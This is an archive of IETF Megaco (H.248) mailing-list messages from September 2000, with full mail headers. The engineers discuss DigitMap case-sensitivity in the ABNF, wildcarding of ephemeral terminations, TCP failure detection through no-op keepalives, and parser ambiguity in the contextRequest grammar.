> > > >
> > > > Nurit Shenhar
> > > > AudioCodes Ltd.
> > > > Direct: +972-3-539-4155
> > > > Tel:     +972-3-539-4000
> > > > Fax:    +972-3-539-4040
> > > > email:  nurit.shenhar@audiocodes.com
> > > >
> > > > web:    <http://www.audiocodes.com>
> > > >
> > > >
> > >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 17:18:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA22665
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 17:18:04 -0400 (EDT)
Received: from standards (47.234.32.16:3436) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB991F6@standards.nortelnetworks.com>; Wed, 27 Sep 2000 17:02:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1064 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 17:02:15 -0400
Received: from qhars002.nortel.com (47.101.112.102:50290) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB991F4@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          17:02:14 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 27 Sep 2000 22:14:52 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 27 Sep 2000 17:13:33 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PPXC>; Wed, 27 Sep 2000 17:13:27 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480DFC@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 17:13:23 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It's a matter of my being too careful when I rewrote the original syntax.  I
wanted to make it clear that the digit map was case-insensitive.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Tuesday, September 26, 2000 8:54 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Case sensitive DigitMap symbols?
>
>
> I suppose it's all in how you interpret the
>                    / %x41-4B / %x61-6B ; a-k, A-K
> line.  I interpret it as being case insensitive
>
> I think we clearly need some text stating that in
> unambiguous language.
>
> Brian
>
> > -----Original Message-----
> > From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> > Sent: Monday, September 25, 2000 5:23 PM
> > To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Cc: img
> > Subject: RE: Case sensitive DigitMap symbols?
> >
> >
> > Brian,
> >
> > Sorry I couldn't let this go, but I went looking
> > in RFC2234.  The problem with digitMapLetter is
> > that it doesn't use a case-insensitive ABNF string
> > to specify A-K.  (It does for the wildcard "x" and the
> > event qualifiers "L" "S" and "Z".)
> >
> > Here is some more from 2234:
> >
> > To specify a rule which IS case SENSITIVE,
> >  specify the characters individually.
> >
> >  For example:
> >      rulename    =  %d97 %d98 %d99
> >  or
> >      rulename    =  %d97.98.99
> >
> >    will match only the string which comprises only lowercased
> >    characters, abc.
> >
> > The ABNF "Value Range Alternatives" says that it can be used
> > to specify "A range of alternative numeric values".  I guess this
> > precludes something simple like "A"-"K", which could be case
> > insensitive.
> >
> > It looks like the only way to do what we want in ABNF is to
> spell out
> > all of the alternatives (i.e. "A" / "B" / "C" etc.).
> >
> > Or, maybe a comment saying that "%x41-4B denote the same
> > events as %61-6B"
> > would be enough?
> >
> > DaveS.
> >
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > Sent: Monday, September 25, 2000 9:25 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Case sensitive DigitMap symbols?
> >
> >
> > Annex B references RFC2234, which states:
> >
> >         ABNF strings are case-insensitive and
> >         the character set for these strings is us-ascii.
> >
> > The text used to state this as a comment in the ABNF, but
> > somewhere that got lost.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> > > Sent: Friday, September 22, 2000 6:57 PM
> > > To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Cc: img
> > > Subject: RE: Case sensitive DigitMap symbols?
> > >
> > >
> > > Brian,
> > >
> > > Thanks for the response.  I apologize, but I haven't
> > > seen a clause that says the protocol is case insensitive.
> > > Does this refer to the text encoding, or is it a blanket
> > > statement covering all aspects of the protocol?
> > >
> > > DaveS.
> > >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > Sent: Friday, September 22, 2000 5:04 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Case sensitive DigitMap symbols?
> > >
> > >
> > > Except for the case of SDP in local/remote,
> > > the entire protocol is case insensitive.
> > > I'll support expanding the wording in 7.1.14.3 and
> > > E.6 to include the lower case values.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> > > > Sent: Friday, September 22, 2000 4:39 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Case sensitive DigitMap symbols?
> > > >
> > > >
> > > > Hello,
> > > >
> > > > I have questions about the use of lower case letters as
> > > > DigitMap symbols.
> > > >
> > > > First of all, there is a conflict between the text and the ABNF:
> > > >
> > > > o The text description (7.1.14.3) allows
> > > >   symbols "A" through (at most) "K" as digit
> > > >   map symbols, but doesn't mention the lower
> > > >   case letters.
> > > >
> > > > o The ABNF in B.2 defines 'digitMapLetter'
> > > >   to allow %x41-4B or %x61-6B.
> > > >
> > > > Second, the DTMF detection package uses case in a
> > > > confusing way:
> > > >
> > > > o The DTMF 'tone id' to Event Symbol table in
> > > >   E.6 allows "*" to be represented as either
> > > >   "E" or "e", and "#" to be represented as either
> > > >   "F" or "f".
> > > >
> > > > o DigitMap Completion Events in E.6 define the
> > > >   possible values in a DigitString to be "A"
> > > >   through "F".
> > > >
> > > > Is there some reason to allow lower case in digit maps?
> > > >
> > > > Shouldn't the DTMF detection package define a one to one
> > > > mapping of 'tone id's to event symbols?
> > > >
> > > > The combination of these rules make it difficult for
> > > > an MG to implement 7.1.14.5 number 3, where it says
> > > > that each event 'is mapped to a digit string symbol',
> > > > especially for the "*" and "#" events, unless I am
> > > > missing something!
> > > >
> > > > Thanks,
> > > > ============================
> > > > Dave Sclarsky
> > > > System Architect, Access Technology
> > > > S-Link Corporation
> > > > 520 Fellowship Road, Suite C-304
> > > > Mt. Laurel, NJ 08054
> > > > dsclarsky@ss7-link.com
> > > > voice:856.642.9229 fax:856.642.0252
> > > > www.ss7-link.com
> > > >
> > >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 17:24:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA22743
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 17:24:05 -0400 (EDT)
Received: from standards (47.234.32.16:3436) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9921D@standards.nortelnetworks.com>; Wed, 27 Sep 2000 17:08:26 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1115 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 17:08:26 -0400
Received: from qhars002.nortel.com (47.101.112.102:50418) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9921B@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          17:08:25 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Wed, 27 Sep 2000 22:20:15 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Wed, 27 Sep 2000 16:16:00 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <T3FNSWVL>; Wed, 27 Sep 2000 16:19:51 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480DFD@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 16:19:47 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Wildcarding physical and ephemeral in binary .
X-To:         "Shlomo.Kabaz@ECITELE.COM" <Shlomo.Kabaz@ECITELE.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Particularly in the ephemeral case, you can simply designate the
terminationId as CHOOSE at all levels of the hiearchy and leave the MG to
figure out the lind of termination from the properties you specify for it.
Alternatively the MGC may be aware of a naming convention for a particular
type of ephemeral, and wildcard only the variable parts of that pattern.
See, for example, the NAS termination naming pattern property which appears
in the NAS packages draft (draft-ietf-megaco-naspkg-01.txt) which I
submitted to the IETF last Monday (and hence which should be published
shortly).

> -----Original Message-----
> From: Shlomo Kabaz ECItelecom [mailto:Shlomo.Kabaz@ECITELE.COM]
> Sent: Tuesday, September 26, 2000 1:57 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Wildcarding physical and ephemeral in binary .
>
>
> Hi , all.
> I am a bit confused with wildcarding options in binary .
> Section "A.1 Coding of wildcarding" says actualy how to
> wildcard physical
> terminations .
> I do not know how do i wildcard ephemerals , and more how do
> i wildcard
> both  ephemeral and physical .
>
> shlomo  ECI
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 17:41:42 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA22990
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 17:41:42 -0400 (EDT)
Received: from standards (47.234.32.16:3436) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9927E@standards.nortelnetworks.com>; Wed, 27 Sep 2000 17:23:56 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1246 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 17:23:56 -0400
Received: from qhars002.nortel.com (47.101.112.102:50737) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9927C@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          17:23:56 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Wed, 27 Sep 2000 22:37:37 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 27 Sep 2000 16:33:05 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <T3FNSXAV>; Wed, 27 Sep 2000 16:33:02 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480DFF@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 16:32:52 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: TCP svc failure detection in H248
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I don't think this belongs in a package -- it should have been part of the
advice in Annex D.  Anyway, as you say, it isn't necessary to standardize
anything since the protocol already supports the necessary no-op
possibilities.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Monday, September 25, 2000 9:33 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: TCP svc failure detection in H248
>
>
> Hmmm, we talked about a generic event on a timer that would
> be a heartbeat.  Seems to not have made it to the root package.
>
> There are lots of NOP possibilities.  You can just send one
> periodically and see if you get a reply.  Doesn't need
> standardization since the MGC can do it.  An MG can send
> a NOP ServiceChange for the other direction if it wishes.
>
> Brian
>
> > -----Original Message-----
> > From: Shlomo Kabaz ECItelecom [mailto:Shlomo.Kabaz@ECITELE.COM]
> > Sent: Sunday, September 24, 2000 9:50 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: TCP svc failure detection in H248
> >
> >
> > Hi , all.
> > Could anyone tell  what would be the mechanism someone
> should use for
> > detection of TCP svc failure when is
> > used as a transport layer for the H248 protocol . Are there
> > any mechanisms
> > which are H248 standard or we
> > should envent a propriatry  "keep alive"  mechanism ?
> >
> > regards , Shlomo ECI .
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 18:07:56 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23403
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 18:07:54 -0400 (EDT)
Received: from standards (47.234.32.16:3436) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9931F@standards.nortelnetworks.com>; Wed, 27 Sep 2000 17:52:06 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1457 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 17:52:06 -0400
Received: from qhars002.nortel.com (47.101.112.102:51340) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9931E@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          17:52:05 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 27 Sep 2000 23:06:04 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 27 Sep 2000 18:05:42 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PRAN>; Wed, 27 Sep 2000 18:05:42 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C028CF.1044A790"
Message-ID:  <28560036253BD41191A10000F8BCBD11480E01@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 18:05:36 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: [Fwd: [Fwd: Syntax problems]]
X-To:         "Prozan, Rakefet [Partner:LOD:Telrad]" 
              <rakefet.prozan@telrad.co.il>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C028CF.1044A790
Content-Type: text/plain;
        charset="iso-8859-1"

You've formulated the situation correctly.  What it amounts to is that
following a comma, your MG-side parser has to expect any one of the
following 22 tokens (case-insensitive):
   "Topology" / "TP" / "Priority" / "PR" / "Emergency"
    / "EM" / "ContextAudit" / "CA" / "Add" / "A" / "Modify" / "MF"
    / "Move" / "MV" / "Subtract" / "S" / "ServiceChange" / "SC"
    / "AuditValue" / "AV" / "AuditCapability" / "AC"

I left Notify off this list, since it gets sent to the MGC rather than the
MG.

Do other implementors want to comment?

> -----Original Message-----
> From: Prozan, Rakefet [Partner:LOD:Telrad]
> Sent: Thursday, September 21, 2000 10:24 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: [Fwd: [Fwd: Syntax problems]]
>
>
> Hi all,
> As I didn't get any comment for a few days,I'm re-sending
> my problem again...
> The absence of parentheses is a real problem for our parser.
> Many thanks in advance for your answers,
> --
> Rakefet Prozan,

Hi all,
I tried to do what you have suggested regarding the contextProperties
problem (the second issue),and it seems that the problem is even worse
than I thought
at first:

 According to the following definitions,we can have actionRequest that
consist
of contextRequest.

   actionRequest        = CtxToken EQUAL ContextID LBRKT ((
                          contextRequest [COMMA  commandRequestList])
                          / commandRequestList) RBRKT

   contextRequest          = ((contextProperties [COMMA contextAudit])
                           / contextAudit)

   contextProperties    = contextProperty *(COMMA contextProperty)

   ; at-most-once
   contextProperty  = (topologyDescriptor / priority / EmergencyToken)


This contextRequest can be as follows:

topologyDescriptor,priority,EmergencyToken,contextAudit,commandRequestList

This means that after the first COMMA I can have each of the following
options:

priority,EmergencyToken,contextAudit,commandRequestList

In advance,commandRequestList can consist of:

ammRequest,subtractRequest,auditRequest,notifyRequest,serviceChangeRequest


In case that the protocol will not be changed,it means that after each
COMMA
I have to check ALL these posibilities,which doesn't make sense
(real-time,etc).
On the other hand,entering parentheses solves the problem.

By the way,the problem also exist in commandReply,because it consists of
contextProperties:

commandReply       = (( contextProperties [COMMA commandReplyList] )
                           / commandReplyList )


many thanks in advance,
 Rakefet



> "Taylor, Tom-PT" wrote:
>
> Responses below.
>
> > -----Original Message-----
> > From: Prozan, Rakefet [Partner:LOD:Telrad]
> > Sent: Tuesday, September 12, 2000 5:18 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Syntax problems
> >
> >
> > Hi all,
> >
> > The previous mail was sent by mistake. This is the correct mail:
> >
> > Can someone clear the following issues in ABNF?
> >
> > 1) In APPENDIX A EXAMPLE CALL FLOW:
> >
> >    ...
> >    8.  The MGC Modifies the termination to play dial tone, to look
> for
> >    digits according to Dialplan0 and to look for the on-hook
> > event now.
> >    MGC to MG1:
> >
> >    MEGACO/1 [123.123.123.4]:55555
> >    Transaction = 10001 {
> >        Context = - {
> >            Modify = A4444 {
> >                Events = 2223 {
> >                    al/on, dd/ce {DigitMap=Dialplan0}
> >                },
> >                Signals {cg/dt},
> >                DigitMap= Dialplan0{
> >    (0| 00|[1-7]xxx|8xxxxxxx|Fxxxxxxx|Exx|91xxxxxxxxxx|9011x.)}
> >            }
> >        }
> >    }
> >
> >   According to the definition of digitMapRAnge :
> >
> >    digitMapRange = ("x" / LWSP "[" LWSP digitLetter LWSP "]" LWSP)
> >
> >
> >   "x" must be followed by "[" .
>
> [PTT] According to section 3.5 of RFC2234 (ABNF), the rule as
> currently shown is correct, but your alternative presentation would be
> clearer.
>
> >   So, either there is an error in the example,or the definition
> should
> > be:
> >
> >   digitMapRange = ("x" /( LWSP "[" LWSP digitLetter LWSP "]" LWSP ))
>
> >
> > 2) In ABNF:
> >
> >    contextRequest = ((contextProperties [COMMA contextAudit])
> >                   / contextAudit)
> >
> >    contextProperties  = contextProperty *(COMMA contextProperty)
> >
> >
> >
> > My problem is : if the parser finds a COMMA after a
> > contextProperty, it
> > doesn't have any indication to know what will come after this COMMA:
>
> > another
> > contextProperty,or the optional contextAudit. This results in a
> loop.
>
> [PTT] You have to check the keyword which follows the comma.
>
> > I think that there are two alternatives ways to solve this:
> >
> > Either to put  contextAudit in { } :
> >
> > contextRequest = ((contextProperties LBRKT [COMMA contextAudit]
> RBRKT)
> >                / contextAudit)
> >
> > Or put contextProperties in { } :
> >
> > contextRequest = ((LBRKT contextProperties RBRKT [COMMA
> contextAudit])
> >                   / contextAudit)
> >
> >
> >  thank you in advance,
> > --
> > Rakefet Prozan,
> > Team Manager, S/W Development
> > Nortel SBU
> > Telrad Networks
> > ESN 828-3043   Email:rakefet.prozan@telrad.co.il
> >
> >
> >                                        """
> >                                      -(o o)-
> > +---------------------------------oOO--(_)--OOo--------------+
> >
> >                                .oooO         Oooo.
> > -------------------------------(   )---------(   )------------
> >                                 \ (           ) /
> >                                  \_)         (_/
> >
> > Have fun !!!
> >

--
Rakefet Prozan,
Team Manager, S/W Development
Nortel SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!
> Team Manager, S/W Development
> ATS SBU
> Telrad Networks
> ESN 828-3043   Email:rakefet.prozan@telrad.co.il
>
>
>                                        """
>                                      -(o o)-
> +---------------------------------oOO--(_)--OOo--------------+
>
>                                .oooO         Oooo.
> -------------------------------(   )---------(   )------------
>                                 \ (           ) /
>                                  \_)         (_/
>
> Have fun !!!
>

------_=_NextPart_001_01C028CF.1044A790
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: [Fwd: [Fwd: Syntax problems]]</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>You've formulated the situation correctly.&nbsp; What =
it amounts to is that following a comma, your MG-side parser has to =
expect any one of the following 22 tokens =
(case-insensitive):</FONT></P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; &quot;Topology&quot; / &quot;TP&quot; / =
&quot;Priority&quot; / &quot;PR&quot; / &quot;Emergency&quot;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; / &quot;EM&quot; / =
&quot;ContextAudit&quot; / &quot;CA&quot; / &quot;Add&quot; / =
&quot;A&quot; / &quot;Modify&quot; / &quot;MF&quot;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; / &quot;Move&quot; / =
&quot;MV&quot; / &quot;Subtract&quot; / &quot;S&quot; / =
&quot;ServiceChange&quot; / &quot;SC&quot;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; / &quot;AuditValue&quot; / =
&quot;AV&quot; / &quot;AuditCapability&quot; / &quot;AC&quot;</FONT>
</P>

<P><FONT SIZE=3D2>I left Notify off this list, since it gets sent to =
the MGC rather than the MG.</FONT>
</P>

<P><FONT SIZE=3D2>Do other implementors want to comment?</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Prozan, Rakefet [Partner:LOD:Telrad] =
</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Thursday, September 21, 2000 10:24 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: [Fwd: [Fwd: Syntax problems]]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi all,</FONT>
<BR><FONT SIZE=3D2>&gt; As I didn't get any comment for a few days,I'm =
re-sending</FONT>
<BR><FONT SIZE=3D2>&gt; my problem again...</FONT>
<BR><FONT SIZE=3D2>&gt; The absence of parentheses is a real problem =
for our parser.</FONT>
<BR><FONT SIZE=3D2>&gt; Many thanks in advance for your answers,</FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; Rakefet Prozan,</FONT>
</P>

<P><FONT SIZE=3D2>Hi all,</FONT>
<BR><FONT SIZE=3D2>I tried to do what you have suggested regarding the =
contextProperties</FONT>
<BR><FONT SIZE=3D2>problem (the second issue),and it seems that the =
problem is even worse</FONT>
<BR><FONT SIZE=3D2>than I thought</FONT>
<BR><FONT SIZE=3D2>at first:</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;According to the following definitions,we can =
have actionRequest that</FONT>
<BR><FONT SIZE=3D2>consist</FONT>
<BR><FONT SIZE=3D2>of contextRequest.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; =
actionRequest&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =3D CtxToken =
EQUAL ContextID LBRKT ((</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; contextRequest [COMMA&nbsp; commandRequestList])</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; / commandRequestList) RBRKT</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; =
contextRequest&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
=3D ((contextProperties [COMMA contextAudit])</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; / contextAudit)</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; contextProperties&nbsp;&nbsp;&nbsp; =3D =
contextProperty *(COMMA contextProperty)</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; ; at-most-once</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; contextProperty&nbsp; =3D =
(topologyDescriptor / priority / EmergencyToken)</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>This contextRequest can be as follows:</FONT>
</P>

<P><FONT =
SIZE=3D2>topologyDescriptor,priority,EmergencyToken,contextAudit,command=
RequestList</FONT>
</P>

<P><FONT SIZE=3D2>This means that after the first COMMA I can have each =
of the following</FONT>
<BR><FONT SIZE=3D2>options:</FONT>
</P>

<P><FONT =
SIZE=3D2>priority,EmergencyToken,contextAudit,commandRequestList</FONT>
</P>

<P><FONT SIZE=3D2>In advance,commandRequestList can consist of:</FONT>
</P>

<P><FONT =
SIZE=3D2>ammRequest,subtractRequest,auditRequest,notifyRequest,serviceCh=
angeRequest</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>In case that the protocol will not be changed,it =
means that after each</FONT>
<BR><FONT SIZE=3D2>COMMA</FONT>
<BR><FONT SIZE=3D2>I have to check ALL these posibilities,which doesn't =
make sense</FONT>
<BR><FONT SIZE=3D2>(real-time,etc).</FONT>
<BR><FONT SIZE=3D2>On the other hand,entering parentheses solves the =
problem.</FONT>
</P>

<P><FONT SIZE=3D2>By the way,the problem also exist in =
commandReply,because it consists of</FONT>
<BR><FONT SIZE=3D2>contextProperties:</FONT>
</P>

<P><FONT SIZE=3D2>commandReply&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =3D =
(( contextProperties [COMMA commandReplyList] )</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; / commandReplyList )</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>many thanks in advance,</FONT>
<BR><FONT SIZE=3D2>&nbsp;Rakefet</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; &quot;Taylor, Tom-PT&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Responses below.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: Prozan, Rakefet =
[Partner:LOD:Telrad]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Sent: Tuesday, September 12, 2000 5:18 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Subject: Syntax problems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
